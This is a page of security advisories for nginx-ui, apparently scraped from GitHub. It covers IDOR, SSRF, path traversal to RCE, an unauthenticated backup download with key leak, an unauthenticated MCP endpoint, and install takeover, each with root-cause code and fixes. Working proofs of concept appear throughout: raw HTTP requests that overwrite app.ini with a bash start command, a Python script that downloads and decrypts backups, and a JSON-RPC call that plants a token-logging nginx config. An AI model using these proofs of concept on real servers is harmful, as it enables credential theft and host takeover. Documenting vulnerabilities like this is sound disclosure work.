Where
-Infinity
0
Severity
9.9
OS Command Injection
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

Nginx-UI contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user to access, modify, and delete resources belonging to other users. The application's base Model struct lacks a userid field, and all resource endpoints perform queries by ID without verifying user ownership, enabling complete authorization bypass in multi-user environments.

Severity

High - CVSS 3.1 Score: 8.8 (High)

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Note: Original score was 7.5. The score was updated to 8.8 after discovering that sensitive data (DNS API tokens, ACME private keys) is stored in plaintext, which when combined with IDOR allows immediate credential theft without decryption.

Product

nginx-ui

Affected Versions

All versions up to and including v2.3.3

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

Description

Exposed DNS Provider Credentials

The dns.Config structure (internal/cert/dns/configenv.go) contains API credentials:

go type Configuration struct { Credentials map[string]string json:"credentials" // API tokens here Additional map[string]string json:"additional" }

| Provider | Credential Fields | Impact if Leaked | |----------|------------------|------------------| | Cloudflare | CFAPITOKEN | Full DNS zone control | | Alibaba Cloud DNS | ALICLOUDACCESSKEY, ALICLOUDSECRETKEY | Full DNS control + potential IAM access | | Tencent Cloud DNS | TENCENTCLOUDSECRETID, TENCENTCLOUDSECRETKEY | Full DNS control | | AWS Route53 | AWSACCESSKEYID, AWSSECRETACCESSKEY | Route53 + potential AWS access | | GoDaddy | GODADDYAPIKEY, GODADDYAPISECRET | DNS record modification |

Combined Attack: IDOR + Plaintext Storage

When the IDOR vulnerability is combined with plaintext storage, attackers can directly extract API tokens from other users' resources:

Attack Chain: ┌─────────────────────────────────────────────────────────────────┐ │ 1. Attacker authenticates with low-privilege account │ │ 2. Uses IDOR to enumerate: /api/dnscredentials/1,2,3... │ │ 3. Reads plaintext API tokens directly from HTTP response │ │ 4. No decryption needed - tokens stored in cleartext │ │ 5. Uses stolen tokens to: │ │ - Modify DNS records (domain hijacking) │ │ - Issue fraudulent SSL certificates │ │ - Pivot to cloud infrastructure │ └─────────────────────────────────────────────────────────────────┘

PoC: Extracting Plaintext Credentials via IDOR

bash Attacker with low-privilege token accessing admin's DNS credential curl -H "Authorization: $ATTACKERTOKEN" \ https://nginx-ui.example.com/api/dnscredentials/1

Response contains PLAINTEXT API token (no decryption required): { "id": 1, "name": "Production Cloudflare", "provider": "cloudflare", "config": { "credentials": { "CFAPITOKEN": "yhyQ7xR...plaintexttokenvisible..." } } }

Updated CVSS Score with Plaintext Storage

The plaintext storage increases the confidentiality impact:

CVSS 3.1 Score: 8.8 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

- Scope Changed (S:C): Impact extends to external services (DNS providers, cloud platforms) - High Confidentiality (C:H): Plaintext API tokens immediately usable - High Integrity (I:H): DNS records, certificates can be modified - High Availability (A:H): Services can be disrupted via DNS/certificate manipulation

---

Attack Scenario: Certificate Hijacking

1. Attacker creates low-privilege account on nginx-ui 2. Uses IDOR to enumerate all DNS credentials: /api/dnscredentials/1,2,3... 3. Steals Cloudflare API token from admin's credential 4. Uses token to: - Modify DNS records - Issue fraudulent Let's Encrypt certificates - Intercept traffic to victim domains

Credit

Discovered by security researcher during authorized security audit.

Recommendation

Immediate Mitigation

1. Add User Ownership to Models

go // model/model.go type Model struct { ID uint64 gorm:"primarykey" json:"id" UserID uint64 gorm:"index" json:"userid" // Add this field CreatedAt time.Time json:"createdat" UpdatedAt time.Time json:"updatedat" DeletedAt gorm.DeletedAt gorm:"index" json:"deletedat,omitempty" }

2. Filter Queries by Current User

go // api/certificate/dnscredential.go func GetDnsCredential(c gin.Context) { id := cast.ToUint64(c.Param("id")) currentUser := c.MustGet("user").(model.User)

d := query.DnsCredential dnsCredential, err := d.Where( d.ID.Eq(id), d.UserID.Eq(currentUser.ID), // Add user filter ).First()

if err != nil { cosy.ErrHandler(c, err) return } // ... }

3. Add Authorization Middleware

go // middleware/authorization.go func RequireOwnership(resourceType string) gin.HandlerFunc { return func(c gin.Context) { currentUser := c.MustGet("user").(model.User) resourceID := cast.ToUint64(c.Param("id"))

// Check if resource belongs to current user ownerID, err := getResourceOwner(resourceType, resourceID) if err != nil || ownerID != currentUser.ID { c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ "message": "Access denied", }) return } c.Next() } }

Database Migration

sql -- Add userid column to all resource tables ALTER TABLE dnscredentials ADD COLUMN userid BIGINT; ALTER TABLE certs ADD COLUMN userid BIGINT; ALTER TABLE acmeusers ADD COLUMN userid BIGINT; ALTER TABLE sites ADD COLUMN userid BIGINT; ALTER TABLE streams ADD COLUMN userid BIGINT; ALTER TABLE configs ADD COLUMN userid BIGINT;

-- Set default owner for existing resources UPDATE dnscredentials SET userid = 1 WHERE userid IS NULL; UPDATE certs SET userid = 1 WHERE userid IS NULL;

-- Add foreign key constraint ALTER TABLE dnscredentials ADD CONSTRAINT fkdnscredentialsuser FOREIGN KEY (userid) REFERENCES users(id);

Long-term Improvements

1. Implement role-based access control (RBAC) 2. Add audit logging for resource access 3. Implement resource sharing functionality with explicit permissions 4. Add integration tests for authorization checks

---

Remediation for Plaintext Storage

Immediate Fix: Encrypt Sensitive Fields

Apply the same serializer:json[aes] pattern used for S3 credentials to DNS and ACME data:

model/dnscredential.go: go type DnsCredential struct { Model Name string json:"name" Config dns.Config json:"config,omitempty" gorm:"serializer:json[aes]" // Add AES encryption Provider string json:"provider" ProviderCode string json:"providercode" gorm:"index" }

model/acmeuser.go: go type AcmeUser struct { Model // ... Key PrivateKey json:"-" gorm:"serializer:json[aes]" // Add AES encryption // ... }

Data Migration

Existing plaintext data must be re-saved to trigger encryption:

go func MigrateSensitiveData() error { // Migrate DNS credentials var dnsCreds []model.DnsCredential query.DnsCredential.Find(&dnsCreds) for , cred := range dnsCreds { query.DnsCredential.Save(&cred) // Re-save triggers AES encryption }

// Migrate ACME users var acmeUsers []model.AcmeUser query.AcmeUser.Find(&acmeUsers) for , user := range acmeUsers { query.AcmeUser.Save(&user) }

return nil }

Summary of Required Changes

| File | Line | Current | Fix | |------|------|---------|-----| | model/dnscredential.go | 7 | serializer:json | serializer:json[aes] | | model/acmeuser.go | Key field | serializer:json | serializer:json[aes] |

References

- CWE-639: Authorization Bypass Through User-Controlled Key - OWASP IDOR Prevention Cheat Sheet - PortSwigger: IDOR Vulnerabilities

Disclosure Timeline

- 2026-03-13: Vulnerability discovered through source code audit - 2026-03-13: Vulnerability successfully reproduced in local Docker environment - 2026-03-13: All IDOR operations verified: READ, MODIFY, DELETE - 2026-03-13: Security advisory prepared - [Pending]: Report submitted to nginx-ui maintainers - [Pending]: CVE ID requested - [Pending]: Patch developed and tested - [Pending]: Public disclosure (21-90 days after vendor notification)

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

First published (updated )
Severity
9.8
EPSS
0.17%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

go func AddCert(c gin.Context) { var json struct { Name string json:"name" SSLCertificatePath string json:"sslcertificatepath" binding:"required" SSLCertificateKeyPath string json:"sslcertificatekeypath" binding:"required" SSLCertificate string json:"sslcertificate" SSLCertificateKey string json:"sslcertificatekey" ChallengeMethod string json:"challengemethod" DnsCredentialID int json:"dnscredentialid" } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, }

err := certModel.Insert()

if err != nil { api.ErrHandler(c, err) return }

content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }

err = content.WriteFile()

if err != nil { api.ErrHandler(c, err) return }

c.JSON(http.StatusOK, Transformer(certModel)) }

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/writefile.go#L15

go func (c Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil.

err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }

err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }

if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }

if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }

return }

PoC

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/tmp/test","sslcertificatekeypath":"/tmp/test2","sslcertificate":"test","sslcertificatekey":"test2"}

bash root@aze:~/nginx# ls -la /tmp/test -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/root/nginx/app.ini","sslcertificatekeypath":"/tmp/test2","sslcertificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","sslcertificatekey":"test2"}

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash

For the new config to be applied the app needs to be restarted

!image

Impact

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.05%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | api/backup/router.go | | Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) | | Secondary File | internal/backup/backup.go | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

Root Cause

The vulnerability exists due to two critical security flaws:

1. Missing Authentication on /api/backup Endpoint

In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:

go func InitRouter(r gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware }

For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.

2. Encryption Keys Disclosed in HTTP Response Headers

In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:

go func CreateBackup(c gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return }

// Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header

// ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

// Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) }

The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.

3. Backup Contents

The backup archive (created in internal/backup/backup.go) contains:

go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates

- nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/ // Virtual host configs └── ssl/ // SSL private keys

- hashinfo.txt (encrypted) └── SHA-256 hashes for integrity verification

All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.

Proof of Concept

Python script

python #!/usr/bin/env python3

""" POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """

import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO

try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1)

def parsekeys(hdrval: str): """ Parse X-Backup-Security header format: "base64key:base64iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdrval or "").strip()

# Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip()

return None, None

def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64)

if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)

def extractbackup(encryptedzippath: str, keyb64: str, ivb64: str, outputdir: str): """Extract and decrypt the backup archive""" print(f"\n[] Extracting encrypted backup to {outputdir}")

os.makedirs(outputdir, existok=True)

# Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encryptedzippath, 'r') as mainzip: print(f"[] Main archive contains: {mainzip.namelist()}") mainzip.extractall(outputdir)

# Decrypt each file encryptedfiles = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"]

for filename in encryptedfiles: filepath = os.path.join(outputdir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue

print(f"[] Decrypting {filename}...")

with open(filepath, "rb") as f: encrypted = f.read()

try: decrypted = decryptaescbc(encrypted, keyb64, ivb64)

# Write decrypted file decryptedpath = filepath.replace(".zip", "decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decryptedpath, "wb") as f: f.write(decrypted)

print(f" → Saved to {decryptedpath} ({len(decrypted)} bytes)")

# If it's a ZIP, extract it if filename.endswith(".zip"): extractdir = os.path.join(outputdir, filename.replace(".zip", "")) os.makedirs(extractdir, existok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as innerzip: innerzip.extractall(extractdir) print(f" → Extracted {len(innerzip.namelist())} files to {extractdir}")

except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}")

# Show hash info hashinfopath = os.path.join(outputdir, "hashinfo.txt.decrypted") if os.path.exists(hashinfopath): print(f"\n[] Hash info:") with open(hashinfopath, "r") as f: print(f.read())

def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.addargument("--decrypt", action="storetrue", help="Decrypt the backup after download") ap.addargument("--extract-dir", default="backupextracted", help="Directory to extract decrypted files")

args = ap.parseargs()

url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

# Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET")

try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = parsekeys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1)

with open(args.out, "wb") as f: f.write(data)

# Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}")

if key and iv: # Verify key/IV lengths try: keybytes = base64.b64decode(key) ivbytes = base64.b64decode(iv) print(f"\n[] Key length: {len(keybytes)} bytes (AES-256 ✓)") print(f"[] IV length : {len(ivbytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1)

if args.decrypt: try: extractbackup(args.out, key, iv, args.extractdir)

except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.printexc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}")

if name == "main": main()

bash Download and decrypt backup (no authentication required) pip install pycryptodome python poc.py --target http://victim:9000 --decrypt

X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==

[] Key length: 32 bytes (AES-256 ✓) [] IV length : 16 bytes (AES block size ✓)

[] Extracting encrypted backup to backupextracted [] Main archive contains: ['hashinfo.txt', 'nginx-ui.zip', 'nginx.zip'] [] Decrypting hashinfo.txt... → Saved to backupextracted/hashinfo.txt.decrypted (199 bytes) [] Decrypting nginx-ui.zip... → Saved to backupextracted/nginx-uidecrypted.zip (12510 bytes) → Extracted 2 files to backupextracted/nginx-ui [] Decrypting nginx.zip... → Saved to backupextracted/nginxdecrypted.zip (5682 bytes) → Extracted 17 files to backupextracted/nginx

[] Hash info: nginx-uihash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginxhash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2

HTTP Request (Raw)

http GET /api/backup HTTP/1.1 Host: victim:9000

No authentication required - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in X-Backup-Security header

Example Response

http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

The X-Backup-Security header contains: - Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key) - IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)

<img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" />

Resources

- CWE-306: Missing Authentication for Critical Function - CWE-311: Missing Encryption of Sensitive Data - OWASP: Broken Authentication - OWASP: Sensitive Data Exposure - NIST: Key Management Guidelines

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

go func InitRouter(r gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) }) }

The /mcp endpoint has middleware.AuthRequired(), but /mcpmessage does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ipwhitelist.go:11-26 - Empty whitelist allows all

go func IPWhiteList() gin.HandlerFunc { return func(c gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } }

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/: - restartnginx - restart the nginx process - reloadnginx - reload nginx configuration - nginxstatus - read nginx status

From mcp/config/: - nginxconfigadd - create new nginx config files - nginxconfigmodify - modify existing config files - nginxconfiglist - list all configurations - nginxconfigget - read config file contents - nginxconfigenable - enable/disable sites - nginxconfigrename - rename config files - nginxconfigmkdir - create directories - nginxconfighistory - view config history - nginxconfigbasepath - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to http://target:9000/mcpmessage (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes nginxconfigmodify with relativepath="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers) 4. nginxconfigadd auto-reloads nginx (configadd.go:74), or attacker calls reloadnginx directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC 1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcpmessage does NOT: r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice }

And the middleware at internal/middleware/ipwhitelist.go:14 passes all requests when the list is empty:

go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return }

3. Config writes auto-reload nginx. From mcp/config/configadd.go:

go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

http POST /mcpmessage HTTP/1.1 Content-Type: application/json

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxypass http://127.0.0.1:9000; accesslog /etc/nginx/conf.d/tokens.log; } }", "basedir": "conf.d", "overwrite": true, "syncnodeids": [] } }, "id": 1 }

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact - Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - Configuration exfiltration: All existing nginx configs are readable via nginxconfigget, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting accesslog directives with custom logformat patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcpmessage route:

go r.Any("/mcpmessage", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary An unauthenticated network attacker can claim the initial administrator account on a fresh nginx-ui instance during the first-run setup window. The public /api/install endpoint is reachable without authentication, and the request-encryption flow only protects payload confidentiality in transit; it does not authenticate who is allowed to perform installation. A remote attacker who reaches the service before the legitimate operator can set the admin email, username, and password, causing permanent initial-instance takeover.

Details The vulnerable route is exposed publicly through the main API router. router/routers.go:61-70 mounts system.InitPublicRouter(root) under /api, and api/system/router.go:16-19 registers both GET /api/install and POST /api/install without AuthRequired().

The install handler only checks whether the instance is already installed and whether more than ten minutes have elapsed since startup. api/system/install.go:26-33 treats the instance as uninstalled when JwtSecret is empty and SkipInstallation is false. api/system/install.go:56-69 rejects requests only if installation has already happened or the ten-minute window has expired.

If those checks pass, the unauthenticated caller controls the initialization flow. api/system/install.go:77-81 generates and saves the JWT secret, node secret, and certificate email from attacker-controlled input, and api/system/install.go:93-97 overwrites user ID 1 with the attacker-chosen username and password hash. internal/kernel/inituser.go:15-22 guarantees that privileged user ID 1 exists ahead of time, so there is always an account to claim.

The public-key bootstrap does not add authentication. api/crypto/router.go:5-9 exposes POST /api/crypto/publickey publicly, api/crypto/crypto.go:12-32 returns a server public key to any caller, internal/crypto/crypto.go:44-61 stores a shared keypair in cache, and internal/middleware/encryptedparams.go:25-50 only decrypts encryptedparams before passing the request to the install handler. No request ID, local-only restriction, bootstrap secret, or prior trust check is enforced.

This was verified locally in an isolated lab instance. A fresh instance returned {"lock":false,"timeout":false}, an unauthenticated POST /api/install returned {"message":"ok"}, the instance then flipped to {"lock":true,"timeout":false}, and the on-disk SQLite database showed user ID 1 renamed to the attacker-controlled username with a non-empty password hash.

PoC The quickest local verification path is the helper script created during validation:

bash ATTACKEREMAIL='attacker@example.com' ATTACKERUSER='attacker' ATTACKERPASS='Password12345' \ '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/output/verify/verifyfreshinstalltakeover.sh'

Expected proof points:

text [1/6] Fresh-instance status: { "lock": false, "timeout": false }

[3/6] Claiming the initial administrator account... { "message": "ok" }

[4/6] Verifying install is now locked... { "lock": true, "timeout": false }

[5/6] Verifying the on-disk admin record was overwritten... { "id": 1, "name": "attacker", "passwordlen": 60 }

To confirm the final state manually:

bash sqlite3 '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/tmp/poc-install-takeover/database.db' \ 'select id,name,length(password) from users where id=1;'

Expected output:

text 1|attacker|60

Manual HTTP reproduction is also straightforward:

1. Request GET /api/install and confirm lock=false and timeout=false. 2. Request POST /api/crypto/publickey to obtain the public RSA key. 3. Encrypt {"email":"attacker@example.com","username":"attacker","password":"Password12345"} with that public key and base64-encode the ciphertext. 4. Submit the ciphertext to POST /api/install as {"encryptedparams":"..."}. 5. Re-request GET /api/install and observe that lock=true. 6. Inspect the backing database and confirm user ID 1 now belongs to the attacker-controlled username.

Impact This is an authentication bypass / initial admin claim vulnerability affecting fresh, uninitialized instances that are reachable over the network during the installation window. Any attacker able to reach the service before the legitimate operator can permanently take ownership of the first administrator account and thereby seize control of the application. Because nginx-ui is an administrative interface for Nginx and related host-management features, compromise of the initial admin account can lead to unauthorized configuration changes, certificate management abuse, backup manipulation, service disruption, and broader operational takeover of the managed environment.

Remediation 1. Require a single-use bootstrap secret for installation. Generate the token locally on first start, print it only to the server console or write it to a root-owned local file, and require it on POST /api/install. 2. Restrict installation endpoints to loopback by default until setup completes. Remote setup should require an explicit opt-in configuration flag, not be enabled automatically on all interfaces. 3. Make installer claim atomic and explicitly stateful. Persist a dedicated installation state record, consume the bootstrap token exactly once, and refuse concurrent or repeated initialization attempts even within the startup window.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.

